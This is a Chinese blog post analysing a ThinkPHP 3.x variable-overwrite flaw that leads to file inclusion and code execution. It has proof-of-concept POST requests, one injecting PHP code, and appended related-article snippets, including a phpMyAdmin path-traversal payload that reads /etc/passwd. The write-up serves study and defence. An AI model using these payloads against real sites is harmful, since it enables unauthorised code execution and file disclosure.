thinkphp 3.x下的任意文件包含(有条件)分析

漏洞原理

实现自己的模版引擎不当,在模版渲染的情况下存在任意变量覆盖漏洞。。

漏洞详情

漏洞位置1

ThinkPHP/Library/Think/View.class.php

需要修改配置文件 指定TMPL_ENGINE_TYPE为php

 if(‘php‘ == strtolower(C(‘TMPL_ENGINE_TYPE‘))) { // 使用PHP原生模板
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($content)?include $templateFile:eval(‘?>‘.$content);

漏洞位置2

ThinkPHP/Library/Think/Storage/Driver/File.class.php

	/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void
     */
    public function load($filename,$vars=null){
        if(!is_null($vars))
            extract($vars, EXTR_OVERWRITE);
        include $filename;
    }

漏洞复现

漏洞服务端代码:

public function test(){
   $this->assign($_POST);
    echo $this->fetch();
}

漏洞验证请求:对于漏洞位置2

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

filename=license.txt

调用堆栈

漏洞验证请求:对于漏洞位置1 ,可以命令执行

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

content=<?php phpinfo();

调用堆栈

参考:

https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw

原文地址:https://www.cnblogs.com/icez/p/thinkphp_3_x_file_include.html

时间: 2024-11-05 11:50:45

thinkphp 3.x下的任意文件包含(有条件)分析的相关文章

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

【原】Mac下统计任意文件夹中代码行数的工具——cloc

这里介绍一个Mac系统统计代码行数的工具cloc. 1.首先,安装homebrew,已安装的请跳过. 打开终端工具Terminal,输入下列命令.过程中会让你按RETURN键以及输入mac桌面密码,按照提示进行操作即可: ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 2.利用homebrew下载并安装cloc. 继续在Terminal中输入: brew

phpmyadmin 4.8.1任意文件包含

phpmyadmin 4.8.1任意文件包含 0x00 phpmyadmin简述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便.其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理M

PHP任意文件包含绕过截断新姿势

前言 此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec 我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴. 适用情况 可以控制协议的情况下,如果%00无法截断包含,可使用这招. <?php $a = $_GET['file']; include $a.'.html.php'; 思路&方法 思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3 假设存在文件包含的代码为: <?php $a = $_GET['file']

文件包含漏洞原理分析

文件包含这个漏洞,用我自己的话来说就是程序员在网站设计中,为方便自己在设计构架时,使用了一些包含的函数,就像'文件包含'这几个字的字面意思一样,在文件中,包含一个文件. 我在总结这篇文章的时候看了,其他人总结的,感觉别人总结的很是详细,就像一开始我只认为包含只有PHP代码中才存在,后来我再整理复习的时候,才发现,包含这个漏洞在各大语言中,都存在的,只不过现在大部分网站都是PHP网站,所以存在这个漏洞的几率大一点,好了不废话了,我开始整理了. 文件包含 程序开发人员一般会把重复使用的函数写到单个文

THINKPHP 放Public下的CSS文件不能引入

CSS文件放在Public/css 文件夹下 在浏览器URL上,输入**/index.php/Home/Index/** (其它模版和控制器一样).CSS不能被引入进入,引入CSS的路径为Public/css/***.css.(用thinkphp的display()方法可以在模版上把CSS文件引入),只需把引入的路径该为__PUBLIC__/css/***.css.用__PUBLIC__代替Public即可.

[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

0x00 简介 影响版本:4.8.0--4.8.1 本次实验采用版本:4.8.1 0x01 效果展示 payload: http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 0x02 漏洞分析 漏洞产生点位于:index.php文件54-67行 可以看到如果要包含文件成功,必需条件有5个: 1.不为空 2.字符串 3.不以index开头 4.不在$target_blackli

thinkphp 5.x~3.x 文件包含漏洞分析

漏洞描述: ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生. 主要还是变量覆盖的问题. 漏洞范围: 漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 .5.1.0<=ThinkPHP<=5.1.10 本地复现环境: tp5.0.15   php version :7.0.12 <?php namespace app\index\contro

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种